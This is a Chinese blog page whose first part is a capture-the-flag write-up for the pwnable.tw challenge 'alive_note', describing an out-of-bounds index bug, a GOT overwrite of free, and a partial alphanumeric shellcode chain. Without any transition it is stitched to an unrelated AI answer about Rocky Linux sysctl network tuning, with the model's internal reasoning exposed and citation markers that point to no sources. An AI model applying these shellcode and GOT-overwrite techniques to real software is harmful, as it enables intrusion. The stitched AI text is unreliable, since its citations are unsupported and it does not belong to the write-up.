【pwnable.tw】 alive_note

本文介绍了一道考察Shellcode编写的高分题目。通过分析程序提供的查看、删除、添加等功能,揭示了如何利用未检查越界读取的问题来泄露内存地址。详细解释了如何构造特殊的shellcode绕过限制,最终实现对程序的攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

突然发现已经两个月没写过WP了,愧疚- -...

此题也算一道分数很高的题目,主要考察Shellcode的编写。

又是一道题目逻辑很简单的题。

首先提供了三个函数

查看,删除,添加

查看函数:

此函数中readint()使用atoi进行解析,没有检查小于0的情况,造成越解读,可以泄露libc地址(然并卵)

添加函数中一样有这个问题,并且可以任意写,

显然是一道覆盖got表的题,并且没有开启NX保护,就是可以写shellcode。

查看一下check函数

不太清楚__ctype_b_loc是什么check,不过可以fuzz一下。

发现只有如下这些是可以输入的

'''
0x0 0x20 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43 
0x44 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51 0x52 
0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5a 0x61 0x62 0x63 0x64 0x65 0x66 0x67 
0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71 0x72 0x73 0x74 0x75 0x76 
0x77 0x78 0x79 0x7a

\x00   0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R 
S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
'''

而这些机器码构成的汇编就可以做很多事情了,比如参考这个文档给出的汇编指令对应关系

https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html

作为其他的限制,shellcode每块不许超过8字节,并且使用strdup建立堆块,也就是说不能有\x00。

根据堆的分配机制,每个堆块分配的大小应该是16字节,并且是连续的,因此可以shellcode链的方法进行跳转,比如使用JNE语句等。

选择覆盖的函数使用free函数,在delete函数时触发,原因是此时在寄存器里会有堆块相关的值。

此时调用free函数时,寄存器的值为:

eax            0x811f018	0x811f018   ;堆块地址
ecx            0x0	0x0
edx            0x0	0x0
ebx            0x0	0x0
esp            0xffd9597c	0xffd9597c
ebp            0xffd959a8	0xffd959a8
esi            0xf76b7000	0xf76b7000
edi            0xf76b7000	0xf76b7000
eip            0x80484e0	0x80484e0 <free@plt>
eflags         0x296	[ PF AF SF IF ]
cs             0x23	0x23
ss             0x2b	0x2b
ds             0x2b	0x2b
es             0x2b	0x2b
fs             0x0	0x0
gs             0x63	0x63

 以此寄存器的值构造shellcode,shellcode块之间使用3个小块填充即可

 

'''
read(0,heap,size)
shellcode 1
push eax  ;P  eax=heap
pop ecx   ;Y   
push ebx  ;S
pop eax   ;X
push 0x7a ;jz
jnz 0x38  ;u8
eax = 0  ebx = 0 ecx = heap edx = 0
shellcode 2 
pop edx   ;Z
dec eax  ;H
xor byte ptr[ecx+0x46],al ;0a5
jnz 0x39
shellcode 3
xor al,0x33  ;4c
xor byte ptr[ecx+0x47],al ;0a5
jnz 0x39
shellcode 4
push 0x33    ;j3
pop eax      ;X
xor al,0x30  ;40

'''+'2L'

 

转载于:https://www.cnblogs.com/p4nda/p/7992951.html

<think>好的,我需要帮助用户在Rocky Linux 9.5中添加几个内核参数的配置文件位置。用户提到的参数包括net.ipv4.tcp_syncookies、tcp_max_tw_buckets、tcp_max_syn_backlog、netdev_max_backlog和tcp_fin_timeout。 首先,我记得Linux系统中,内核参数的配置通常通过/etc/sysctl.conf文件或者/etc/sysctl.d/目录下的自定义配置文件来设置。Rocky Linux作为RHEL的衍生版,应该遵循相同的配置结构。用户之前的问题涉及SELinux的配置,而这次是关于网络内核参数的,所以需要确认正确的配置文件路径。 接下来,我需要验证每个参数对应的sysctl变量名是否正确。例如,用户提到的tcp_max_tw_buckets对应的sysctl参数应该是net.ipv4.tcp_max_tw_buckets,而netdev_max_backlog对应net.core.netdev_max_backlog。需要确保这些参数在sysctl中的正确命名,避免配置错误。 然后,用户可能希望知道如何永久修改这些参数,而不仅仅是临时生效。这意味着需要编辑配置文件而不是使用sysctl -w命令。需要指出正确的配置文件位置,并建议用户创建自定义配置文件以便管理,比如在/etc/sysctl.d/目录下创建一个新的.conf文件。 另外,用户引用的内容提到了TIME_WAIT状态的问题,这可能与tcp_max_tw_buckets和tcp_fin_timeout有关。需要解释这些参数的作用,以及调整它们可能带来的影响,比如减少TIME_WAIT连接数或优化连接队列。 还需要提醒用户在修改后运行sysctl -p来加载新配置,并检查是否生效。同时,考虑到用户之前的问题中提到了监控和调优记录,可能需要建议用户监控调整后的系统表现,以确保修改有效且没有副作用。 最后,用户可能需要了解如何临时修改这些参数进行测试,或者如何查看当前参数的值。需要将这些步骤包含在回答中,确保用户能够全面理解和操作。</think>### Rocky Linux 9.5 内核参数配置文件位置及配置方法 --- #### **1. 内核参数配置文件路径** Rocky Linux 9.5 中,内核网络参数的永久配置通过以下文件实现: - **主配置文件**:`/etc/sysctl.conf` - **自定义配置文件**:`/etc/sysctl.d/` 目录下(例如 `/etc/sysctl.d/99-custom.conf`) 系统会优先加载 `/etc/sysctl.d/*.conf` 文件,最后加载 `/etc/sysctl.conf`[^1][^2]。 --- #### **2. 添加指定内核参数** ##### **步骤一:编辑配置文件** 建议在 `/etc/sysctl.d/` 下创建自定义文件(避免直接修改主配置): ```bash sudo vi /etc/sysctl.d/99-network-optimization.conf ``` 添加以下内容(根据需求调整值): ```bash # 启用 SYN Cookie 防御 SYN Flood 攻击(1=启用,0=禁用) net.ipv4.tcp_syncookies = 1 # 限制 TIME_WAIT 状态的最大连接数(默认 32768) net.ipv4.tcp_max_tw_buckets = 20000 # 调整 SYN 半连接队列长度(默认 1024,需与 net.core.somaxconn 配合) net.ipv4.tcp_max_syn_backlog = 8192 # 设置网络设备接收队列的最大长度(默认 1000) net.core.netdev_max_backlog = 16384 # 调整 TCP FIN 超时时间(默认 60 秒) net.ipv4.tcp_fin_timeout = 30 ``` ##### **步骤二:应用配置** ```bash # 加载所有 sysctl 配置(包括新增文件) sudo sysctl --system ``` --- #### **3. 参数说明与建议** | **参数** | **作用** | **注意事项** | |-----------------------------|-------------------------------------------------------------------------|-----------------------------------------------------------------------------| | `net.ipv4.tcp_syncookies` | 防御 SYN Flood 攻击,当 SYN 队列满时启用 Cookie 验证[^3] | 生产环境建议保持启用(默认值 1) | | `net.ipv4.tcp_max_tw_buckets` | 限制 TIME_WAIT 状态连接数,避免占用过多资源[^1] | 若应用有大量短连接,可适当降低值 | | `net.ipv4.tcp_max_syn_backlog` | 控制 SYN 半连接队列长度,需与 `net.core.somaxconn` 配合[^2][^3] | 建议值不超过 `net.core.somaxconn` 的两倍 | | `net.core.netdev_max_backlog` | 网络接口接收数据包的缓冲队列长度,高流量场景需增大[^2] | 需结合网卡性能和系统负载调整 | | `net.ipv4.tcp_fin_timeout` | 控制 TCP 连接进入 TIME_WAIT 状态的等待时间 | 缩短时间可能加快端口复用,但需确保应用兼容性 | --- #### **4. 验证配置** - **查看当前生效值**: ```bash sysctl net.ipv4.tcp_syncookies \ net.ipv4.tcp_max_tw_buckets \ net.ipv4.tcp_max_syn_backlog \ net.core.netdev_max_backlog \ net.ipv4.tcp_fin_timeout ``` - **检查配置文件加载顺序**: ```bash sudo sysctl --system | grep "Loading settings" ``` --- #### **5. 临时调整参数(无需重启)** ```bash # 示例:临时调整 tcp_max_tw_buckets sudo sysctl -w net.ipv4.tcp_max_tw_buckets=20000 ``` > **注意**:临时修改重启后失效,需通过配置文件持久化[^1][^3]。 --- ### **注意事项** 1. **参数依赖关系**: `net.ipv4.tcp_max_syn_backlog` 需与 `net.core.somaxconn` 和 `net.ipv4.tcp_synack_retries` 协同调整。 2. **性能监控**: 修改后使用工具监控网络状态: ```bash ss -s # 查看 TCP 状态统计 netstat -s # 检查 SYN 丢包情况 ``` 3. **兼容性测试**: 修改 `tcp_fin_timeout` 或 `tcp_max_tw_buckets` 后,需验证应用是否因端口复用导致异常。 --- ### **示例配置文件** ```bash # /etc/sysctl.d/99-network-optimization.conf net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_tw_buckets = 20000 net.ipv4.tcp_max_syn_backlog = 8192 net.core.netdev_max_backlog = 16384 net.ipv4.tcp_fin_timeout = 30 ``` --- ### **相关问题** 1. 如何快速验证内核参数修改后的效果? 2. 调整 `net.core.somaxconn` 的配置文件路径是哪里? 3. 为什么修改 `tcp_max_syn_backlog` 后 SYN 队列仍然溢出?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值